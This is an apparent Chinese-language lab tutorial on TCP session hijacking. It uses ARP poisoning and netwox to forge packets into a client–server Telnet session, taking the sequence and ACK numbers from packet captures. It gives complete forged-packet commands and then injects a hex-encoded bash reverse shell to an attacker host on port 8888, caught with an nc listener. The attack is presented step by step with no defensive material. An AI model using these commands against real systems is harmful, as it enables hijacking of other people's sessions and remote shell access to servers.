TCP劫持攻击

攻击原理:

1、攻击者获取client与服务器的TCP会话包;利用ARP毒化或者MAC洪泛攻击。

2、观察服务器给client主机的TCP报文,获取client给server的下一个发送报文信息。

3、攻击者通过构造一个TCP的报文,该报文是client给server的下一个报文。具体参数如下:

       二层的源MAC为攻击者的;

       三层的源IP是client端的IP地址,目标IP是服务器的IP地址。

       四层的参数需要通过查看client与服务器的数据包来获取。

我们知道服务器只能通过三层与四层的信息来判断会话。

android tcp 劫持 移动tcp劫持_IP


思路:用kali伪装client给服务器发送TCP的报文,夺取client与服务器的会话,之后冒充client获取服务器的信任。

前提是需要得知对方的数据包中的序列号,ACK的作用就是用来确认对端的数据我已经收到你的上一个数据包,我现在想要下一个;如果ACK不正确就会形成ACK风暴,通信双方会不停发送ACK来请求正确的数据包。

首先抓取通信双方的数据包,显示的序列号为经过计算的,在序列号中去掉该选项,显示出真实的序列号。

android tcp 劫持 移动tcp劫持_IP_02

 攻击实现:

这里抓取客户端与服务端的数据包如下图所示:

android tcp 劫持 移动tcp劫持_android tcp 劫持_03

 客户端的IP为192.168.67.128,服务端IP为192.168.67.129。这个包为服务端向客户端发送的,其中我们可以看到这个参数:Next sequence number:122619768,Acknowledgment number:491665932。这两个参数在我们伪造数据包时,需要相互调换一下即可,不需要其他操作。

伪造数据包,这里使用的为netwox的40号工具包。具体参数如下:

android tcp 劫持 移动tcp劫持_android tcp 劫持_04

攻击命令: 

sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.67.128 --ip4-dst 192.168.67.129 --tcp-src 33842 --tcp-dst 23 --tcp-seqnum 491665932 --tcp-acknum 122619786 --tcp-ack --tcp-psh --tcp-window 227--tcp-data 6c730d00

--ip4-protocol 协议号;这里需要将源目IP写为通信双方(不是攻击者的)。

即:\r是回车,\n是换行,前者使光标到行首,后者使光标下移一格。通常用的Enter是两个加起来的,即\r\n。/r的十六进制为0d00,在数据的最后加入0d00表示执行。 这里的数据是十六进制的,需要什么给服务器发送什么命令,得先转换为十六进制。

结果

android tcp 劫持 移动tcp劫持_android tcp 劫持_05

服务器的回包

android tcp 劫持 移动tcp劫持_android tcp 劫持_06

当真正的用户给服务端发送消息时,会出现TCP spurious retransmission的包,表现为与服务器交互没有反应,失去与服务器的会话连接。

android tcp 劫持 移动tcp劫持_IP_07

反弹shell注入原理:

android tcp 劫持 移动tcp劫持_TCP_08

实施:

先利用kali监听需要的端口

这里我们监听8888号端口

nc -lp 8888 -vvv

android tcp 劫持 移动tcp劫持_服务器_09

将反弹shell转换为16进制

bash -i>&/dev/tcp/192.168.67.131/8888 0>&1                  //这是一个shell脚本

十六进制

62617368202d693e262f6465762f7463702f3139322e3136382e36372e3133312f3838383820303e26310d00

攻击命令

sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.67.128 --ip4-dst 192.168.67.129 --tcp-src 33868 --tcp-dst 23 --tcp-seqnum 995053466 --tcp-acknum 3947091214 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e36372e3133312f3838383820303e26310d00

这里在数据的最后加上0d00,表示执行的意思 

android tcp 劫持 移动tcp劫持_TCP_10

攻击成功:这里可以看到我们成功的连接上了服务器。

android tcp 劫持 移动tcp劫持_TCP_11